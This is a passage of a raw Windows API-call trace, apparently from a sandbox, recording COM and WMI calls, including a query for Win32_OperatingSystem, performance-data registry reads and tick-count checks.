plFlavor=0x26a1024*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x26a1020*=21, plFlavor=0x26a1024*=0) returned 0x0 [0294.748] SysStringByteLen (bstr="2096620") returned 0xe [0294.748] SysStringByteLen (bstr="2096620") returned 0xe [0294.748] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0294.748] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0294.748] IUnknown:Release (This=0x1b286080) returned 0x0 [0296.765] GetTickCount64 () returned 0x1ac6ae1 [0296.765] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0296.766] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2783470, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2783470*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0296.768] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0296.768] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2794888, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2794888*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0296.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0296.771] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0296.771] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.771] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0296.772] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0296.772] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0296.772] IUnknown:Release (This=0x77dd58) returned 0x1 [0296.773] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d217f50) returned 0x0 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0296.773] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d217f50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d217f70) returned 0x0 [0296.773] WbemLocator:IUnknown:Release (This=0x1d217f50) returned 0x0 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d217f70) returned 0x0 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0296.773] WbemLocator:IUnknown:AddRef (This=0x1d217f70) returned 0x3 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0296.773] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0296.773] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0296.773] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0296.774] WbemLocator:IUnknown:Release (This=0x1d217f70) returned 0x2 [0296.774] WbemLocator:IUnknown:Release (This=0x1d217f70) returned 0x1 [0296.774] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0296.774] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0296.774] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f70, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d217f70) returned 0x0 [0296.774] WbemLocator:IUnknown:AddRef (This=0x1d217f70) returned 0x3 [0296.774] WbemLocator:IUnknown:Release (This=0x1d217f70) returned 0x2 [0296.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0296.774] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0296.774] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.774] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218610) returned 0x0 [0296.774] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218610, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d28f270) returned 0x0 [0296.896] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28f270, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b202650) returned 0x0 [0296.897] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202650, pProxy=0x1d28f270, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0296.897] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x1 [0296.897] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28f270, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b202698) returned 0x0 [0296.897] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28f270, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b202650) returned 0x0 [0296.897] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202650, pProxy=0x1d28f270, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0296.898] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x2 [0296.898] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0296.898] CoTaskMemFree (pv=0x1d1e6f90) [0296.898] WbemLocator:IUnknown:Release (This=0x1d218610) returned 0x0 [0296.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28f270, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b202698) returned 0x0 [0296.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0296.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0296.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28f270, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0296.899] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0296.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0296.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0296.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202578) returned 0x0 [0296.900] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0296.900] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0296.900] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0296.900] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0296.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202660) returned 0x0 [0296.900] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0296.900] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0296.900] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0296.900] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0296.900] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0296.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d28f270) returned 0x0 [0296.901] WbemLocator:IUnknown:AddRef (This=0x1d28f270) returned 0x4 [0296.901] WbemLocator:IUnknown:Release (This=0x1d28f270) returned 0x3 [0296.901] WbemLocator:IUnknown:Release (This=0x1d28f270) returned 0x2 [0296.901] SysStringLen (param_1=0x0) returned 0x0 [0296.901] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0296.901] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0296.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b202698) returned 0x0 [0296.901] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x3 [0296.901] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0296.901] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0296.901] WbemLocator:IUnknown:AddRef (This=0x1d28f270) returned 0x3 [0296.901] IWbemServices:ExecQuery (in: This=0x1d28f270, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b287970) returned 0x0 [0296.917] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b287978) returned 0x0 [0296.917] IClientSecurity:QueryBlanket (in: This=0x1b287978, pProxy=0x1b287970, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0296.917] IUnknown:Release (This=0x1b287978) returned 0x1 [0296.917] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2021b8) returned 0x0 [0296.917] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b287978) returned 0x0 [0296.917] IClientSecurity:SetBlanket (This=0x1b287978, pProxy=0x1b287970, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0296.933] IUnknown:Release (This=0x1b287978) returned 0x2 [0296.933] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0296.933] CoTaskMemFree (pv=0x1d1e6c30) [0296.933] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2021b8) returned 0x0 [0296.934] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0296.934] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0296.934] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0296.935] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0296.935] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0296.935] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0296.935] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202098) returned 0x0 [0296.935] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0296.935] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0296.935] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0296.935] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0296.935] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202180) returned 0x0 [0296.935] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0296.936] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0296.936] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0296.936] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0296.936] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0296.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b287970) returned 0x0 [0296.936] IUnknown:AddRef (This=0x1b287970) returned 0x4 [0296.936] IUnknown:Release (This=0x1b287970) returned 0x3 [0296.936] IUnknown:Release (This=0x1b287970) returned 0x2 [0296.936] WbemLocator:IUnknown:Release (This=0x1d28f270) returned 0x2 [0296.936] SysStringLen (param_1=0x0) returned 0x0 [0296.936] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0296.936] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0296.936] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.936] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0296.936] IUnknown:AddRef (This=0x1b287970) returned 0x3 [0296.936] IEnumWbemClassObject:Clone (in: This=0x1b287970, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b2872e0) returned 0x0 [0296.937] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b2872e8) returned 0x0 [0296.938] IClientSecurity:QueryBlanket (in: This=0x1b2872e8, pProxy=0x1b2872e0, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0296.938] IUnknown:Release (This=0x1b2872e8) returned 0x1 [0296.938] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203398) returned 0x0 [0296.938] IUnknown:QueryInterface (in: This=0x1b2872e0, 